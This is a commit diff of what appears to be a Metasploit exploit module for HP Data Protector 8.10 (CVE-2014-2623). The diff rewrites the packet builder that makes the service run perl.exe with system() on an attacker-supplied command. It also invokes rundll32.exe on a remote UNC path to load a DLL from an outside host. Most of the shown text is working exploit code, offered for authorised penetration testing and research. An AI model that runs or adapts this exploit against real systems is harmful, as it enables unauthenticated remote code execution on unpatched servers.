@@ -26,8 +26,9 @@ def initialize(info={})
26
26
'References' =>
27
27
[
28
28
[ 'CVE' , '2014-2623' ] ,
29
+ [ 'OSVDB' , '109069' ] ,
29
30
[ 'EDB' , '34066' ] ,
30
- [ 'URL' , 'https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818' ] ,
31
+ [ 'URL' , 'https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818' ]
31
32
] ,
32
33
'DefaultOptions' =>
33
34
{
@@ -37,7 +38,7 @@ def initialize(info={})
37
38
'Platform' => 'win' ,
38
39
'Targets' =>
39
40
[
40
- [ 'HP Data Protector 8.10' , { 'Offset' => 46 } ] ,
41
+ [ 'HP Data Protector 8.10 / Windows' , { } ] ,
41
42
] ,
42
43
'DefaultTarget' => 0 ,
43
44
'DisclosureDate' => 'Nov 02 2014' ) )
@@ -90,21 +91,21 @@ def get_fingerprint
90
91
Rex ::Text . to_ascii ( resp ) . chop . chomp # Delete unicode last null
91
92
end
92
93
93
- def exec_bar ( cmd )
94
+ def send_pkt ( cmd )
94
95
cmd . gsub! ( "\\ " , "\\ \\ \\ \\ " )
95
96
96
- cmd_no = target [ 'Offset' ] + cmd . length
97
-
98
- pkt = "\x00 \x00 \x00 "
99
- pkt << cmd_no
100
- pkt << "\x32 \x00 \ x01\x01 \x01 \x01 \x01 \x01 \ x00\x01 \x00 \x01 "
101
- pkt << "\x00 \ x01\x00 \ x01\x01 \ x00\x20 \x32 \x38 \x00 \x5c \x70 "
102
- pkt << "\x65 \x72 \x6c \x2e \x65 \x78 \x65 \ x00\x20 \x2d \x65 \x73 \x79 \x73 \x74 \x65 \x6d " # perl -e system('cmd')
103
- pkt << "(' #{ cmd } ')" # Executable
104
- pkt << "\x00 "
97
+ pkt = "2 \x00 "
98
+ pkt << " \x01 \x01 \x01 \x01 \x01 \x01 \x00 "
99
+ pkt << "\x01 \x00 "
100
+ pkt << " \x01 \x00 "
101
+ pkt << "\x01 \x00 "
102
+ pkt << "\x01 \x01 \x00 "
103
+ pkt << "28 \ x00"
104
+ pkt << "\\ perl.exe \x00 "
105
+ pkt << "-esystem(' #{ cmd } ') \x00 "
105
106
106
107
connect
107
- sock . put ( pkt )
108
+ sock . put ( [ pkt . length ] . pack ( 'N' ) + pkt )
108
109
disconnect
109
110
end
110
111
@@ -114,6 +115,6 @@ def primer
114
115
115
116
print_status ( "#{ peer } - Trying to execute remote DLL..." )
116
117
sploit = "rundll32.exe #{ unc } ,#{ rand_text_numeric ( 1 ) } "
117
- exec_bar ( sploit )
118
+ send_pkt ( sploit )
118
119
end
119
120
end
0 commit comments